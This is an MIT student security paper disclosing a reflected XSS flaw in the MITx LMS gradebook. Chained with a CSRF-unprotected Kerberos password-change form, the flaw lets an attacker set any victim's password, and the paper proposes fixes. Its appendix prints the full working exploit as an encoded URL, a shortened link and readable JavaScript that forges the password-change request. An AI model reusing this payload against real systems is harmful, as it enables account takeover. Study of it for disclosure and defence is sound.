Massachusetts Institute of Technology

XSS and CSRF in Kerberos and MITx

Yanni Coroneos – *ycoroneo*

Laura Hallock – *lhallock*

Raluca Ifrim – *rifrim*

Chris Tam – *tchris*

6.858: Computer Systems Security
December 13, 2013

1 Abstract

In this paper, we describe a successful exploit of a cross-site scripting (XSS) vulnerability in the MITx Learning Management System (LMS) and poor practices in the current Kerberos password changing system. Our exploit allows an adversary to change the Kerberos password of any user to an adversary-specified value, provided the user can be tricked into clicking on a link provided by the adversary. Additionally, we propose solutions for patching this particular vulnerability and for improving the security of the MITx and Kerberos systems as a whole.

2 Introduction

EdX, the massive open online course (MOOC) platform founded jointly by MIT and Harvard in 2012 (and now partners with dozens of peer institutions), currently offers more than 50 educational courses and serves over one million users. MITx is MITs contribution to the edX platform, offering a number of courses online using accompanying assessment modules internal to MIT.

MIT has started to integrate MITx features into its own classes on campus, and, as a result, a number of classes currently use the MITx platform for features like content distribution and gradebook tracking. The implementation of the MITx platform that is used in on-campus classes utilizes the new Learning Management System (LMS) introduced in 2013 to replace Stellar [1]. Specifically, these courses utilize the gradebook module of the LMS, which provides an interface for students and course administrators to view and maintain these grades, respectively. A user cannot directly access the gradebook module via `http://www.learning-modules.mit.edu` because this user must be redirected to a highly specific page within that domain from MITx.

We therefore distinguish between the combination of MITx and LMS that is used for internal MIT classes and the greater MITx platform that is accessible from the edX site. Our attack is Kerberos-specific, and thus requires that the victim is a student with valid Kerberos certificates. An outside user would not necessarily see the LMS gradebook, but they could still conduct the exploit on the LMS gradebook if they had knowledge of its existence.

In this paper, we aim to exploit the various vulnerabilities surrounding MITx and LMS to access a user's Kerberos account. We also offer solutions for the vulnerabilities we locate.

3 The MITx Platform

On the MITx platform, students can directly enter their problem set answers for automated grading. Class grades are not directly hosted on MITx, but the LMS gradebook module is very tightly integrated with MITx. To the best of our knowledge, substantial security evaluations of MITx and LMS have never been performed. This poses a problem because all of the pages in the LMS domain contain sensitive information about the user. The gradebook page of any class, for example, contains the user's Kerberos account name as well as their student ID number. As MITx is increasingly integrated into MIT classes, security holes in MITx may be more likely to compromise the sensitive data of users across the MIT community.

Online courseware platforms such as MITx present a number of tricky problems, as they are intrinsically reliant on user input and, in the context of programming classes, often require the actual execution of users' code. In addition, their databases contain extensive personal user data associated with each account, including location, financial information, phone numbers, and even copies of official IDs. While our particular exploit only uses the victim's username — an arguably comparatively innocuous piece of information — this remains a potentially vulnerable attack surface and a good candidate for future security evaluation.

4 Vulnerabilities

Our exploit — which changes the victim's Kerberos password to an adversary-specified value — takes advantage of MITnet's web of trust in the context of the LMS gradebook and Kerberos credentials.

The first target is the LMS gradebook module, which exposes two separate vulnerabilities that we use to our advantage. First, the associated URI fields are not properly escaped, so the module serves as our vector for the actual Javascript execution. Second, we use the gradebook module to retrieve unprotected sensitive information about the user that clicks the link — in our case, the Kerberos username.

The second target is the Kerberos password changing website. MIT IS&T allows students to change their passwords through a combination of username and password or username and a valid installed certificate. (Users can opt out of using the latter method — which defeats our particular exploit — but many choose not to, or, more likely, are simply unaware of the option to do so.) Additionally, the forms on the site are not CSRF-protected, allowing for arbitrary forms to be submitted from an external script.

5 Our Exploit

Our exploit takes advantage of a reflected XSS vulnerability in the gradebook to change a user's Kerberos password when they navigate to an attacker-specified URL while using a browser with active certificates. This is a reasonable attack because a large percentage of the student body has certificates installed on their computers.

The core vulnerability is relatively simple. The URL for the gradebook module takes the following form:

```
https://learning-modules.mit.edu/portal/index.html?gb=<some-text-here>
```

Because the URI request fields are not properly escaped, `<some-text-here>` can be replaced with arbitrary Javascript, which will run under the same origin as the LMS page. It is this vulnerability that allows us to run the Javascript code to spoof a password change request.

Because such a request requires entry of the username, we must first establish which user has clicked on the link. We knew the gradebook must also make requests to determine this information, so we monitored the associated web traffic using the developer tools in our web browser to discover where the gradebook gets this information. The MITx Javascript API makes discrete requests to several URLs, including:

```
https://learning-modules.mit.edu/service/gradebook/assignmentcategories/2472922?
includeDeleted=true&includeAggregation=true
```

and

```
https://learning-modules.mit.edu/service/membership/user
```

each of which contain specific information about the user. The first contains information about the associated MIT course (in this case 18.03), including several assignment averages — although none relating to specific students — that appear to be accessible to anyone with a Kerberos certificate. The second contains the users Kerberos username in the `accountId` field (see §9.2), which we exploit below. Additionally, all of the information is conveniently JSON-encoded. Because the URLs have the same domain as the gradebook module, all we have to do is open this URL in an iframe, run its returned contents through Javascripts JSON parser, and extract the user's Kerberos username. This information can then be used in making the password change request.

User password changes are submitted through forms on IS&Ts password changing website at `https://ca.mit.edu:444/ca/cpw`. Because the page does not require the user to re-enter their old password, we simply use a Javascript function that creates a fake form with all the necessary fields — the username from the parsed JSON text above and a new password of the adversarys choosing — to be called after the aforementioned iframe has loaded and submitted to the password changing website.

Lastly, we URL-encode this script using an online encoder [2] and append it to the insecure LMS URL above to produce a link that, when clicked by a user logged in with certificates, will change the user's password (see §9.1). (If the user is not logged with certificates, the exploit still functions, but the browser will first ask the user's permission to continue with certificates.)

From the user's perspective — provided they are already logged in with certificates — clicking on the link directs them to their own gradebook page, but with a red box full of unintelligible white text overlaid; they are then immediately redirected to IS&T's password changing website, which includes the *password change successful* line at the top of the form. It would be relatively easy to hide all the relevant elements so that the password change happens invisibly (e.g., by immediately redirecting the user to a more innocuous website), but we saw no research value in implementing this. Another possible extension would be to use the 6.858 script from lab 5 to email the user's username to us, and, thus, give us complete access to the user's account.

6 Solutions

Our exploit relies on a number of independent vulnerabilities, and thus there are a number of patches which, if implemented, would have prevented us from being able to carry out this exploit.

Perhaps most importantly, the XSS vulnerability in the gradebook module itself could be prevented by correctly escaping input in the URI request fields.

Secondly, the attack only works because the password changing website does not implement cross-site request forgery (CSRF) tokens. Both of the forms that are submitted for a password change request should include some kind of CSRF protection, especially the option that requires only the users username and certificate. This can be accomplished by setting a CSRF token upon navigation to the page and then submitting it in a hidden field along with the password change form. This means that a user cannot change his or her password unless their web browser actually loaded the password changing web page.

Extra security could also be afforded to the LMS gradebook by obfuscating the transmission of sensitive user data that the javascript back-end uses. Ideally, there should be no cross-site communication on the gradebook page. All of the database requests and permission-granting should be done remotely so that only the final result is sent to the user's web browser.

7 Conclusion and Future Work

Thus far, we have shown how a combination of security flaws in MITnet's circle of trust can allow a malicious user to steal the credentials of other users. Aside from the XSS vulnerability in the URL of the gradebook module, there are many more scattered throughout MITx class site submission forms that may or may not have negative ramifications. For example, we discovered one in an 18.03 answer submission box, but we decided that was too specific to expend effort exploiting. Additionally, after briefly sifting through the code of edX's back end, we think it likely that user code can escape its sandbox and cause harm to the system running it. IS&T has propositioned us to expand our analysis of MITx and this suspicious sandboxing could be a possible avenue for exploration. Even a simple attack like using improperly jailed code to send email or generate network traffic could be destructive, especially for DDoS attacks.

There are few precautions a user can take to protect himself from the password changing attack. With certificates installed in his web browser, the only thing he can do is be suspicious of every link. The only true way to protect against this attack is to uninstall certificates and instead log into MITnet services using a username and password — every time. This is both cumbersome and impractical, and largely disregards the intent of the Kerberos certificate system.

8 References

[1] http://web.mit.edu/fnl/volume/255/hastings_ortiz.html

[2] http://meyerweb.com/eric/tools/dencoder/

9 Appendices

9.1 Exploit Links and Code

NOTE: Navigating to either of the following two URLs will execute our exploit and change your Kerberos password if you are working on a computer with Kerberos certificates installed. Handle with care.

The entire exploit URL is as follows:

```
https://learning-modules.mit.edu/portal/index.html?gb=%3Cscript%3E%0Avar%20el2%20%
3D%20document.createElement(%27iframe%27)%3B%0Ael2.src%20%3D%20%22https%3A%2F%2F
learning-modules.mit.edu%2Fservice%2Fmembership%2Fuser%22%3B%0Ael2.onload%20%3D%20s
teal%3B%0Adocument.body.appendChild(el2)%3B%0A%0Afunction%20steal()%20%7B%0A%20%
20var%20text%20%3D%20el2.contentDocument.getElementsByTagName(%22pre%22)%5B0%5D.t
extContent%3B%0A%20%20var%20parsed%20%3D%20JSON.parse(text)%3B%0A%20%20var%20use
rname%20%3D%20parsed%5B%22response%22%5D%5B%22docs%22%5D%5B0%5D%5B%22accountId%22%
5D.slice(0%2C-8)%3B%0A%20%20%0A%20%20var%20f%20%3D%20document.createElement(%22f
orm%22)%3B%0A%20%20f.setAttribute(%27method%27%2C%20%27POST%27)%3B%0A%20%20f.set
Attribute(%27action%27%2C%20%27https%3A%2F%2Fca.mit.edu%3A444%2Fca%2Fcpw%27)%3B%0A
%20%20%0A%20%20var%20i%3Ddocument.createElement(%22input%22)%3B%0A%20%20i.setAttr
ibute(%27name%27%2C%20%27usecert%27)%3B%0A%20%20i.setAttribute(%27value%27%2C%20%
271%27)%3B%0A%20%20i.setAttribute(%27type%27%2C%20%27hidden%27)%3B%0A%20%20f.app
endChild(i)%3B%0A%0A%20%20var%20l%3Ddocument.createElement(%22input%22)%3B%0A%20%
20l.setAttribute(%27name%27%2C%20%27login%27)%3B%0A%20%20l.setAttribute(%27value
%27%2C%20username)%3B%0A%20%20l.setAttribute(%27size%27%2C%2010)%3B%0A%20%20l.set
Attribute(%27type%27%2C%20%27text%27)%3B%0A%20%20f.appendChild(l)%3B%0A%0A%20%20v
```

```
ar%20p1%3Ddocument.createElement(%22input%22)%3B%0A%20%20p1.setAttribute(%27name%
27%2C%20%27newpw%27)%3B%0A%20%20p1.setAttribute(%27size%27%2C%2030)%3B%0A%20%20p
1.setAttribute(%27type%27%2C%20%27password%27)%3B%0A%20%20p1.setAttribute(%27val
ue%27%2C%20%27608f0b988db4a96066af7dd8870de96c%27)%3B%0A%20%20p1.setAttribute(%27p
wfprops%27%2C%20%27%2C%27)%3B%0A%20%20f.appendChild(p1)%3B%0A%0A%20%20var%20p%3D
document.createElement(%22input%22)%3B%0A%20%20p.setAttribute(%27name%27%2C%20%27n
ewpw1%27)%3B%0A%20%20p.setAttribute(%27size%27%2C%2030)%3B%0A%20%20p.setAttribut
e(%27type%27%2C%20%27password%27)%3B%0A%20%20p.setAttribute(%27value%27%2C%20%27608f
0b988db4a96066af7dd8870de96c%27)%3B%0A%20%20p.setAttribute(%27pwfprops%27%2C%20%
27%2C%27)%3B%0A%20%20f.appendChild(p)%3B%0A%0A%20%20var%20e%3Ddocument.createEle
ment(%22input%22)%3B%0A%20%20e.setAttribute(%27name%27%2C%20%27submit%27)%3B%0A%20%
20e.setAttribute(%27value%27%2C%20%27Change%20your%20password%27)%3B%0A%20%20e.s
etAttribute(%27type%27%2C%20%27submit%27)%3B%0A%20%20f.appendChild(e)%3B%0A%0A%20%
20document.getElementsByTagName(%27body%27)%5B0%5D.appendChild(f)%3B%0A%20%20e.c
lick()%3B%0A%7D%0A%3C%2Fscript%3E%0A
```

The same URL is also found at `http://tinyurl.com/pw34atd`.

For legibility, we have also included the unencoded Javascript code:

```
<script>
var el2 = document.createElement('iframe');
el2.src = "https://learning-modules.mit.edu/service/membership/user";
el2.onload = steal;
document.body.appendChild(el2);

function steal() {
  var text = el2.contentDocument.getElementsByTagName("pre")[0].textContent;
  var parsed = JSON.parse(text);
  var username = parsed["response"]["docs"][0]["accountId"].slice(0,-8);

  var f = document.createElement("form");
  f.setAttribute('method', 'POST');
  f.setAttribute('action', 'https://ca.mit.edu:444/ca/cpw');

  var i=document.createElement("input");
  i.setAttribute('name', 'usecert');
  i.setAttribute('value', '1');
  i.setAttribute('type', 'hidden');
  f.appendChild(i);
  var l=document.createElement("input");
  l.setAttribute(’name’, ’login’);
  l.setAttribute(’value’, username);
  l.setAttribute(’size’, 10);
  l.setAttribute(’type’, ’text’);
  f.appendChild(l);

  var p1=document.createElement("input");
  p1.setAttribute(’name’, ’newpw’);
  p1.setAttribute(’size’, 30);
  p1.setAttribute(’type’, ’password’);
  p1.setAttribute(’value’, ’608f0b988db4a96066af7dd8870de96c’);
  p1.setAttribute(’pwfprops’, ’,’);
  f.appendChild(p1);

  var p=document.createElement("input");
  p.setAttribute(’name’, ’newpw1’);
  p.setAttribute(’size’, 30);
  p.setAttribute(’type’, ’password’);
  p.setAttribute(’value’, ’608f0b988db4a96066af7dd8870de96c’);
  p.setAttribute(’pwfprops’, ’,’);
  f.appendChild(p);

  var e=document.createElement("input");
  e.setAttribute(’name’, ’submit’);
  e.setAttribute(’value’, ’Change␣your␣password’);
  e.setAttribute(’type’, ’submit’);
  f.appendChild(e);

  document.getElementsByTagName(’body’)[0].appendChild(f);
  e.click();
}
</script>
```

9.2 Sample LMS Gradebook System Response

The following is an example of what Alyssa P. Hacker might see when she navigates to `https://learning-modules.mit.edu/service/membership/user` on a computer with her certificates installed:

```
{
  "responseHeader":{
    "status":0,
    "QTime":0,
    "params":{
      "fl":"id,␣accountId,␣accountEmail,␣googleEmail,␣firstName,␣middleName,
␣␣␣␣␣\lastName,␣nickName,␣displayName,␣sortableDisplayName,␣affiliation,
␣␣␣␣␣\␣email,␣year,␣personType,␣officeLocation,␣officePhone,␣source",
      "q":"accountId:\"ahacker@mit.edu\"␣OR␣accountEmail:\"ahacker@mit.edu\"",
      "rows":"2000"}},
  "response":{"numFound":1,"start":0,"docs":[
      {
        "affiliation":"Electrical␣Eng␣&␣Computer␣Sci",
        "sortableDisplayName":"Hacker,␣Alyssa␣P",
        "accountEmail":"ahacker@mit.edu",
        "year":"1",
        "accountId":"ahacker@mit.edu",
        "nickName":"Alyssa",
        "middleName":"P",
        "firstName":"Alyssa",
        "source":"MITSIS",
        "displayName":"Alyssa␣P␣Hacker",
        "id":6858,
        "email":"ahacker@mit.edu",
        "personType":"STUDENT",
        "officeLocation":"10-1000",
        "lastName":"Hacker"}]
  }}
```